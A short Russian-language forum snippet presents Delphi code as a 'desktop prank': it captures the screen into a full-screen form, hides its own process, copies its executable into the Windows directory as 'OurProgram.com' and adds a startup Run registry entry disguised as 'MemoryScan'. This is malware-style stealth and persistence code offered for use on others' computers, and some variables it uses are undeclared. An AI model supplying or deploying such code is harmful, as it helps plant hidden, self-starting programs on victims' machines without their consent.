Прикол с рабочи столом

Code:

procedure TForm1.FormCreate(Sender: TObject);

var

ScreenDC: HDC;

canvas: Tcanvas;

h: TRegistry;

begin

ScreenDC:=GetDC(0);

Canvas:=TCanvas.Create();

canvas.Handle:=ScreenDC;

Width:=Screen.Width;

Height:=Screen.Height;

Image1.Canvas.CopyRect(Rect(0,0,Image1.Width,Image1.Height),

canvas,Rect(0,0,Screen.Width,Screen.Height));

Releasedc(0,ScreenDC);

Canvas.Free;

if not(csDesigning in ComponentState) then

RegisterServiceProcess(GetCurrentProcessID,1);

WinDirP := StrAlloc(MAX_PATH);

Res := GetWindowsDirectory(WinDirP, MAX_PATH);

if Res > 0 then WinDir := StrPas(WinDirP);

if FileExists(WinDir+'\OurProgram.com')=false then

CopyFile(PChar(Application.ExeName),PChar(WinDir+'\OurProgram.com'),false);

h:=TRegistry.Create;

h.RootKey:=HKEY_LOCAL_MACHINE;

h.OpenKey('\Software\Microsoft\Windows\CurrentVersion\Run',true);

h.WriteString('MemoryScan',WinDir+'\OurProgram.com');

h.CloseKey;

h.Free;

end;